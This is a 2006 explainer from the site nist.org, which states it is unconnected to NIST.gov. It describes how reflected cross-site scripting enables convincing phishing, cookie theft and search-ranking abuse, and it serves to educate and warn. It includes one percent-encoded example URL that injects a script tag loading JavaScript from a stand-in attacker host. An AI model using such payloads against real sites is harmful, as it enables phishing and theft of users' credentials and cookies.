NIST Site Search
Search NIST.GOV
Custom Search
[Official NIST.GOV TIME]
Product Research

Advertise on this site
Cross-Site Scripting (XSS) - The Internet is Definitely a More Dangerous Place
Phishing schemes are about to get a whole lot easier. Targeted attacks are much more likely to work now than ever before. Cookies stored on your computer can be retrieved by bad guys half a world away. Even big search engine companies like Google and Yahoo are shaking in their boots. What happened? The bad guys have discovered Cross-Site Scripting (XSS) and the Internet has sudden become a lot more dangerous. (updated with screen shots)No Longer Supported
Through the magic of Cross-Site Scripting (XSS) even professional security people will have a hard time recognizing a phishing message. XSS also allows for the theft of cookies, and thus personal information and possibly passwords, stored on your computer. XSS may also have a detrimental affect on public search engine results and the trust we put in search results. This and much more is covered in this article. We've tried to boil things down so the subject is easy to understand. At the same time several examples are given showing just how bad XSS can be. Hopefully by the end of this article you'll have a much better understanding of XSS and why its something deserving of your attention.

Originally I had a hard time getting my arms around the whole XSS issue. Though the problem has been around for at least 10 years I, like many security people, didn't pay real close attention until recently. At first I didn't exactly understand the problem. Even after I saw some examples I didn't immediately see where this could cause much harm. Most of the examples simply popped up an alert box. Big deal. But I knew there was more to it because some people I really trust (or at least think are smart) were very worried. According to new figures from Mitre, a U.S. government-funded research organization XSS is now the #1 application vulnerability being reported. It has surpassed buffer overflows, SQL injections, directory traversals, even Denial of Service vulnerabilities. XSS now accounts for 21.5% of all reported vulnerabilities, rising from just 2% in 2001. This trend is certain to continue as more people become aware of the problem and locate vulnerable applications.

So it was time to develop a better understanding of this problem.

Let me tell you, XSS is very dangerous. If you've heard otherwise don't believe it. Unless you think this is some obscure vulnerability that may not affect you let me assure you this vulnerability is very widespread. People I've spoke with have told me that it takes them about 5-10 minutes to find a new vulnerable site. There are groups out there simply trying to see how many they can find and who can find a vulnerability on the most important websites (so far FBI.GOV and NSA.GOV probably top that list!). They have found (and documented) several banks, law firms, charities, insurance companies, dozens of government agencies, etc., with XSS vulnerabilities. They even found a XSS vulnerability on Acunetix's public website. Acunetix makes a security appliance that is designed to find just such web server vulnerabilities (Acunetix fixed the problem quickly but this serves as an example that any web site can have a XSS vulnerability). Probably hundreds of sites have been found so far and the search is really just beginning.

Unlike most vulnerability testing XSS searching does not modify anything on the remote server and does no harm to the server or the server's data. But as not to encourage phishing attacks based off these finding we will not be posting the actual example links or the full vulnerability address. However, we are aware that there are several sites out there that are posting them. Normally the example links posted on these sites are harmless (and therefore should not get anyone in trouble) but that is no guarantee that you won't stumble across some that are harmful. If you don't know what you're doing don't go to these sites or click on untrusted links. We will, on the other hand, be posting the names of those organizations so that they are pressured to fix the problem. Remember this vulnerability doesn't hurt their server, it hurts everyone else. We suspect the people finding these vulnerabilities are not reporting them to the organization that runs the server. There is still a lot of fear out there that someone will try to charge them with hacking. There is a good chance the vulnerability finders would would prevail in court but nobody wants to go through that, let someone else establish the precedence. But that means the web server administrators might be the last to know that their server is vulnerable and possibly be used for phishing attacks. If you operate web server you should pay attention to the “XSS Hall of Shame” here at NIST.org and the various vulnerability discovery sites that prove a server is vulnerable by including example links. Your company or organization may even be sued if someone falls victim to a XSS enabled phishing attack through your web server. Remember it is your server that allowed this to happen and the URL at the top indicates it is your server hosting the credit card entry form. You are probably especially liable if the problem is public knowledge and you've done nothing about it.

Though the vulnerability is on the server the threat is to the general public, the visitors to that server. Normally servers get exploited and the bad guys either deface the site or use it to load them up with exploit code that can do you harm. Either way web admins have something to work with. In this case nothing bad ever happens to the web server, nothing gets modified on the server, server security hasn't even been breached. It was never actually hacked. Let me explain.

To simplify things we'll use a phishing attack as an example. When the bad guy wants your credit card information one of the most common attacks starts with an email message. They send you an email message with links to some server they control. Both the email message and rogue server are made to look very much like a bank or other financial institute. But usually there are signs that something is wrong. The links in the email message point to an IP address or some domain other than the banks, or your web browser shows the odd address after you click on the link. Instead of the normal 'http://www.normalbank.com' you see something like 'http://192.168.243.205' or 'http://normalbank.c8a45.ru'. Clear signs that something isn't right.

But with XSS the links look fine. Even the address in your browser looks fine. There is nothing apparently wrong. But the key word is 'apparently'. Because with XSS the good server is acting much like a money laundering operation, taking the bad address, cleaning it up so it looks legitimate, and sending it to your browser. All without any changes or exploits to the good server. The fault is with some bit of code that was designed to accept user input. Often times a search form on the good server is what is used in a XSS exploit (remember it is you that is being exploited, not the server). The programmers simply didn't take the time time to filter the user input of Javascript or HTML code and they allowed the original form input to be fed back to the person that entered it without modification. The form input doesn't have to be you entering the text in a block it can often be coded right in to a URL, obfuscated so you don't even know its there. Finding these vulnerabilities isn't even thought to be hacking. Again nothing is compromised on the server, it is doing exactly as it was designed to do. It was just designed poorly. Programmers search for code syntax on the Internet all the time, who would have thought that simply searching for it could cause it to activate back on their own computer. That's just dumb. But other input forms are vulnerable as well, not just search forms.

So here is how it works in a XSS attack. The bad guy sends you one of those well crafted email messages made to look like it came from your bank (again we'll use 'Normal Bank' with a domain of 'normalbank.com'). The email you receive comes from survey@normalbank.com and looks just like the one's your bank normally sends you, with privacy notices, copyrights, etc. It claims you will get $50 deposited to your account simply by taking an on-line survey. The links on the page all point to your bank's domain and look perfectly legitimate, something like:
http://www.normalbank.com/survey.php?q=%3C%73%63%72 %69%70%74%20%73%72%63 %3D%2F%2F%62%61%64%67%75%79% 73%69%6E%63%2E%6E%65%74%2F%62%61 %64%73%63%72%69%70 %74%2E%6A%73%3E

We've all seen gobbly gook as part of normal looking URL's and that in and of its self is not a clue that something is wrong. The larger the company the more likely the URL's will contain gobbly gook because it is often used to request documents or information from databases. So you click the link and you are brought to a page that looks exactly like one from www.normalbank.com prompting you to login to take the survey and claim your $50. The URL in your browser's address bar looks perfectly legitimate and matches the URL above. You login, take the survey, and you get a big thank you notice saying that the $50 will be deposited to your account in 3-5 days. YIPPIE!

So what's going on here? Well first of all you're not going to have $50 deposited to your account (dang it!). In fact the next time you check your account you'll probably find it contains a lot less money than it should. Embedded in the URL gobbly gook above is a bit of Javascript that is fed to a survey form entry page on www.normalbank.com. The form handler doesn't know what to do with this code so it simply reflects it back to your browser (as odd as that may seem). From your browser's point of view this Javascript apparently is coming from www.normalbank.com because it was just reflected from there. But this small bit of Javascript just loaded a complete page from the bad guys server and you just sent your banking information to their server. All without any indication that something was wrong.

The same method of Javascript reflection can be used by the bad guys to steal cookies stored on your computer. Cookies are small text files that a web server stores on your computer to save 'state' (where you're at or what you are doing) or information that your browser can use from visit to visit to save you time and effort. For example when you order something from a site they may store a cookie on your computer with your mailing addresses so the next time you order something you don't have to reenter that information. They may also store your credit card information that way. Normally only the site that dropped the cookie can retrieve it. But if the site has a XSS vulnerability the bad guy can send you a URL to retrieve that cookie. The URL first hits the legitimate site (again www.normalbankcom) but contains code to load Javascript from a server they control (www.badguys5486.ru). This Javascript contains code to retrieve the www.normalbank.com cookie from your computer and send it to them. Remember the URL looks like its coming from the good server so your browser dutifully retrieves the cookie as instructed.

So how do you avoid being exploited? Since you would have a very difficult time deciphering the URL (ok kids break out your secret decoder rings to see what you've won) all you can really do is never click on links sent to you via email. You've heard this before but most of you continue to ignore that advice. There are bad people all over the world that are much smarter at this than I am and they can send out millions of phishing spam messages. Occasionally there are bad people at good companies that will sell a company's client email list. You are vulnerable and XSS is far too easy to exploit.

The fix isn't an easy one. Unlike most vulnerabilities this isn't something that can be patched by Microsoft. The cause of the problem isn't the operating system or the web browser. Usually the problem is with custom programming code written by experienced and inexperienced programmers alike. All of these separate vulnerable programs will have to be fixed. In some cases a companies search engine appliance will have to be totally replaced if it is no longer supported by the manufacturer. So this problem won't go away quickly. But companies need to act because their servers are making us more vulnerable.

At the beginning of this article I mentioned that this vulnerability can have a negative affect on public search engine results. XSS has the potential to undermine how search engines rank pages, thus listing garbage sites above valuable one's. How? This is another thing that I didn't immediately understand. How can weirdly crafted URL's trick the likes of Google and Yahoo? Most public search engines rank sites higher if they have a lot of inbound links (links from other sites). Many also rank the quality of those inbound links so a link on a page at Time.com is worth a lot more than a link on some kids free MySpace page. With XSS it is possible to create links that appear to be on a vulnerable site's page. We've seen examples of this where text and links seem to be magically added to web pages. Javascript is widely used to create content on pages (this site uses it in some of the sidebar panels) so the search engines have to understand it. Search Engine Optimization (SEO) is big business, companies pay thousands of dollars to get their sites ranked higher. When you feed Google a XSS URL (like the example above) it thinks all the Javascript content from derived from that URL was meant to be delivered from that page. But with XSS you can use foreign XSS to apparently create links on a good server's site that aren't actually there (remember nothing has actually been changed on the server). So a quick way to boost SCO is to find as many XSS vulnerable sites and through the magic of Javascript create links to your site. Yahoo, MSN, Google, etc. will see all of those links from well respected sites and rank your site higher. Now before you run off and do this let me tell you that these public search engine companies are not stupid. They are very aware of this problem and are actively working on fixes. When they find you doing this you will be blacklisted (eg; you may never show up in search results again). They aren't discussing the situation but it is believed that they can currently detect some XSS URL's but not others. If you search for 'XSS SEO' you'll find lots of discussion on blackhat SEO sites, hacker sites, and a few whitehat security sites. But lets hope the search engines get a handle on this soon or they'll be one more thing on the Internet that we've lost faith in.

Targeted attack scenarios:
  • You get an email message that appears to be from your stock broker suggesting that you buy stock in Acme War Materials immediately. They claim to have inside information that this company is about to win a huge military contract and the stock will double overnight. There is a link in the email to your brokers site for more information. The page even includes a very nice looking PDF file from an Army contracting office that is awarding the contract to them. The informed and suspicious among us would know they wouldn't be allowed to do this. But a certain percentage of people would jump at the chance to double their money. The bad guy will probably win two ways here. The first way is that they'll include a login on their bogus page and will capture your brokerage account info. The second way they'll make money is they'll take out options on that stock ahead of time to sell at a set price. When this stock goes up in value they make money. Our spam honeypot already captures dozens of spam messages per day promoting junk stocks.
  • You get an email message from a U.S. Government agency that works in disaster relief. The message says that though they are currently helping hundreds of displaced children the money allocated by Congress is not nearly enough. The eMail message points to a web page on the goodserver.gov website with pictures of hungry children and a form for you to donate money with your credit card. All addresses and links appear to be from the goodserver.gov website. Again, a lot of people would know that the government wouldn't solicit donations this way. But many people would fall for it. What if the email and web address came from a legitimate save-the-starvingkids.org web address would that make people less suspicious? Timed to occur soon after a disaster the response rate to such an email would be very high. We've had reports of several such vulnerable government sites and charity sites that could be used this way.
  • You get an email from your state's tax office with your full name and street address in the message saying that you have been audited. The link on the page takes you to http://www.state.yy.us (the 'yy' being your states abbreviation and is legitimate). It asks you to login with your name (with the block already filled in for you. How convenient), and the password is your social security number. The page that comes up says that you owe the state a grand total of $23.46 and offers you a chance to avoid a face to face audit by paying up now. You can either mail a check to their legitimate street address or use the oh so convenient credit card form on the page. For less than $25 most people would be glad to avoid a face to face audit and most people would take advantage of the credit card payment method. Now they own your social security number and your credit card number. Your name, address and email address they got from a bad employee at a store you do business with. This is called a targeted attack and is very effective. Yes, we know of several state web sites with XSS vulnerabilities.


Example Screen Shots (URL's removed):

These are all real examples, the only photo editing of the screen captures was to obscure the URL and in one case to remove site identification.

References: (caution: some of these links are to sites frequented by people of questionable ethics and may contain forum posts with links to exploited sites. The people who run these sites try to weed out such material but some might slip through):
  • Ha.ckers.com XSS Articles – This site is run by a guy that goes by the handle 'RSnake'. I've had several interesting email threads with RSnake and I thank him for his assistance. He may be one of the foremost experts on XSS. He also runs sla.ckers.org that lists sites found to be XSS vulnerable and a URL for each to prove it. Little is known about RSnake and even less about the people that visit his web forums so caution is advised (but isn't it always?).
  • Jeremiah Grossman's Blog - Jeremiah Grossman is the founder and Chief Technology Officer of WhiteHat Security. His blog contains a lot of valuable information on XSS. He is often quoted by the mainstream press on various security issues.
  • Wikipedia XSS page – An excellent definition of XSS and includes a couple more scenarios. It also lists several well known real-world XSS attacks, most of which have been fixed.
  • 'How to defeat the new No. 1 security threat: cross-site scripting' from ComputerWorld.com.
  • 'Cross-site scripting the top security risk' from NetworkWorld.com
  • Again the Vulnerability Type Distributions in CVE from Mitre.org showing XSS as the #1 threat for 2006.
  • The UK site 'How to Create' has a very good write up on XSS that will be especially interesting to web developers trying to fix XSS problems.
  • SecurityDocs.com does a good job of describing XSS and includes example code. They also have a chart of characters your site's input forms should be filtering to prevent XSS injection.
  • SEOMoz.org - Shows how to create links on 20 different government web pages using XSS. These links are only seen using the URL provided, they don't actually exist on the government servers. But they can be used to trick search engines for higher rankings (SEO) or to trick the unsuspecting public (by emailing the link). Some of these links have probably been fixed. This is a very dangerous situation.
  • The SPI Laboratory - Common Misconceptions in Web Application Security, Part 1
  • The SPI Laboratory - Common Misconceptions in Web Application Security, Part 2
  • NIST.org's XSS Hall of Shame – Where we list web servers that have XSS vulnerabilities.



Share or Bookmark this Article Using:
| furl | reddit | del.icio.us | magnoliacom | digg | newsvine | stumble it |



Google
WebNIST.org
NIST.govSecurityFocus.com






Posted by NIST.org on Monday 09 October 2006 - 15:35:01 | |printer friendly
Translate to: French German Italian Spanish Portuguese GTM_LAN_DUTCH Russian Chinese Arabic Korean English
Google Ads




Headlines

»NISTaposs Cloud Computing Roadmap Details Research Requirements and Action Plans
»NIST Awards Contract to MITRE to Support Cybersecurity Center of Excellence
»NCCoE Fall Open House
»NCCoE Seeks Comments on Mobile Device Security Building Block
»Three Pilot Projects Receive Grants to Improve Online Security and Privacy
»NIST Megacities Carbon Project Named aposProject to Watchapos by United Nations
»NIST Announces FY 2014 Small Business Innovation Research Awards
»NIST Helps Develop New Standard for Microsensor Technology
»New Forensic Subcommittee on Digital Evidence Added to Organization of Scientific Area Committees
»NIST Team Honored for Work on Military Smartphone Apps, Security
»NIST Vetting Guide Helps in Testing Mobile Apps to Learn What They Really Do
»NIST, IAPP Host Privacy Engineering Workshop in September 2014
»NIST Therapy for Ultraviolet Laser Beams: Hydrogen-treated Fibers
»NIST aposGlobal City Teams Challengeapos to Create Smart Cities
»Global City Teams Challenge Workshop


Date published: not known
Details

»Apple Releases Security Updates for QuickTime
Original release date: October 23, 2014 Apple has released QuickTime 7.7.6 for Windows 7, Vis ...
»Microsoft Releases Advisory for Unpatched Windows Vulnerability
Original release date: October 22, 2014 Microsoft has released a security advisory to provide ...
»Apple Releases Security Updates for iOS and Apple TV
Original release date: October 20, 2014 Apple has released security updates for iOS devices a ...
»OpenSSL 3.0 Protocol Vulnerability
Original release date: October 17, 2014 US-CERT is aware of a design vulnerability found in t ...
»Apple Releases Security Update 2014-005
Original release date: October 17, 2014 Apple has released Security Update 2014-005 to addres ...
»Drupal Releases Security Advisory
Original release date: October 17, 2014 Drupal has released a security advisory to address an ...
»Google Releases Security Updates for Chrome and Chrome OS
Original release date: October 16, 2014 Google has released security updates to address multi ...
»Ebola Phishing Scams and Malware Campaigns
Original release date: October 16, 2014 US-CERT reminds users to protect against email scams ...
»OpenSSL Patches Four Vulnerabilities
Original release date: October 16, 2014 OpenSSL has released updates patching four vulnerabil ...
»Mozilla Releases Security Updates for Firefox and Thunderbird
Original release date: October 15, 2014 The Mozilla Foundation has released security updates ...


Date published: not known
Details

»Tor exit node found to turn downloaded binaries into malware
Tor provides anonymity, not security, hence using HTTPS is essential. A security researcher has disc ...
»VB2014 paper: Exposing Android white collar criminals
Luis Corrons dives into the world of shady Android apps. Over the next few months, we will be sharin ...
»Black Hat Europe - day 2
IPv6 versus IDPS, XSS in WYSIWYG editors, and reflected file downloads. After a busy first day, I wa ...
»Black Hat Europe - day 1
Programme packed with interesting talks. Though the prestige of Black Hat Europe doesn't compare to ...
»VB2014 paper: DNSSEC - how far have we come?
Nick Sullivan describes how DNSSEC uses cryptography to add authentication and integrity to DNS resp ...
»POODLE attack forces the Internet to move away from SSL 3.0
Users and administrators urged to stop supporting the protocol, or at least to prevent downgrade att ...
»Report: 15 solutions achieve VBSpam award
Surprisingly, the presence of more URLs doesn't necessarily make spam easier to block. Yet again, we ...
»Windows zero-day used in targeted attacks
Vulnerability used to download BlackEnergy trojan - as discussed during VB2014. Today is going to be ...
»VB2014 paper: The evolution of webinjects
Jean-Ian Boutin looks at the increased commoditization of webinjects. Virus Bulletin has always been ...


Date published: not known
Details

»Backoff PoS Malware Boomed In Q3
The security firm Damballa detected a 57% increase in infections of the notorious Backoff malware fr ...
»Poll: Patching Is Primary Response to Shellshock
As potential threats mount, Dark Reading community members hone in on patching infrastructure but no ...
»US Military Officials, Defense Firms Targeted In 'Operation Pawn Storm'
Cyber espionage attackers "did their homework" in an attack campaign that has intensified in the wak ...
»Financial Services Ranks Cyberattacks Top Industry Worry
Depository Trust & Clearing Corporation (DTCC) survey says cyberrisk is one of top five concerns for ...
»Attacks On Patched Sandworm Flaw Force Microsoft To Issue Fix It
More than a week after Microsoft fixed a flaw affecting almost all Windows versions, attackers are c ...
»20% Of 'Broadly Shared' Data Contains Regulated Info
Forget "shadow IT." The new problem is "shadow data."
»Incident Response: Is Your IR Plan A Glorified Phone Tree?
Training internal security teams to be first responders can drastically improve an organization's ef ...
»Enterprise Security: Why You Need a Digital Immune System
Treating enterprise security like the human body's response to illness or injury is more effective t ...
»10 Things IT Probably Doesn't Know About Cyber Insurance
Understand the benefits and the pitfalls you might miss when evaluating cyber policies.


Date published: Fri, 24 Oct 2014 19:50:22 EDT
Details
Main Menu
· Home
Current Security News
 
SANS Internet Storm Center, InfoCON: green

» Infocon: green

» Scanning for Single Critical Vulnerabilities, (Fri, Oct 24th)
[24 Oct 2014 05:57pm]

» Shellshock via SMTP, (Fri, Oct 24th)
[24 Oct 2014 01:05pm]

» Are you receiving Empty or "Hi" emails?, (Fri, Oct 24th)
[24 Oct 2014 08:10am]

» ISC StormCast for Friday, October 24th 2014 http://isc.sans.edu/podcastdetail.html?id=4207, (Fri, Oct 24th)
[23 Oct 2014 11:06pm]

» Digest: 23 OCT 2014, (Thu, Oct 23rd)
[23 Oct 2014 01:36pm]

» ISC StormCast for Thursday, October 23rd 2014 http://isc.sans.edu/podcastdetail.html?id=4205, (Thu, Oct 23rd)
[22 Oct 2014 10:50pm]

» telnetd rulez: Cisco Ironport WSA Telnetd Remote Code Execution Vulnerability, (Wed, Oct 22nd)
[22 Oct 2014 05:26pm]

» CVE-2014-6352 - Microsoft posts bulletin https://technet.microsoft.com/library/security/3010060 and quick "fix-it" https://support.microsoft.com/kb/3010060 . Look for a permanent fix in a future patch., (Tue, Oct 21st)
[22 Oct 2014 04:22am]

» ISC StormCast for Wednesday, October 22nd 2014 http://isc.sans.edu/podcastdetail.html?id=4203, (Wed, Oct 22nd)
[21 Oct 2014 10:52pm]

» CSAM Month of False Positives: Ghosts in the Pentest Report, (Tue, Oct 21st)
[21 Oct 2014 08:10am]

***
CNET News.com

» Microsoft defends opening Hotmail account of blogger in espionage case
[20 Mar 2014 06:47pm]

» Syria's Internet goes dark for several hours
[20 Mar 2014 04:25pm]

» Symantec fires CEO Steve Bennett
[20 Mar 2014 03:07pm]

» Microsoft sniffed blogger's Hotmail account to trace leak
[20 Mar 2014 01:28pm]

» Microsoft sniffed private Hotmail account to trace trade secret leak
[20 Mar 2014 01:28pm]

» IBM's new services zero in on fraud, financial crime
[20 Mar 2014 07:31am]

» Despite assault on privacy, Page sees value in online openness
[19 Mar 2014 08:00pm]

» Hackers transform EA Web page into Apple ID phishing scheme
[19 Mar 2014 05:21pm]

» NSA top lawyer says tech giants knew about data collection
[19 Mar 2014 02:57pm]

» Microsoft touts study showing the cost of pirated software
[19 Mar 2014 06:55am]

» Microsoft touts study showing cost of malware in pirated software
[19 Mar 2014 06:55am]

» How to spy on your lover, the smartphone way
[18 Mar 2014 01:24pm]

» Mt. Gox update lets users see their Bitcoin balances
[18 Mar 2014 06:38am]

» Fake Malaysia Airlines links spread malware
[17 Mar 2014 05:12pm]

» IBM: No, we did not help NSA spy on customers
[17 Mar 2014 01:15pm]

***

***



***


More IT Security
News Feeds
More Sponsors

Advertise on this site
RSS Feeds
Our news can be syndicated by using these rss feeds.
rss1.0
rss2.0
rdf
Symantec News

NIST.org is in no way connected to the U.S. government site NIST.gov

This site is © John Herron, CISSP. All Rights Reserved.

Please visit daily to stay up to date on all your IT Security compliance issues.

http://www.nist.org -
Hosted by BlueHost. We've never had a better hosting company.
{THEMEDISCLAIMER}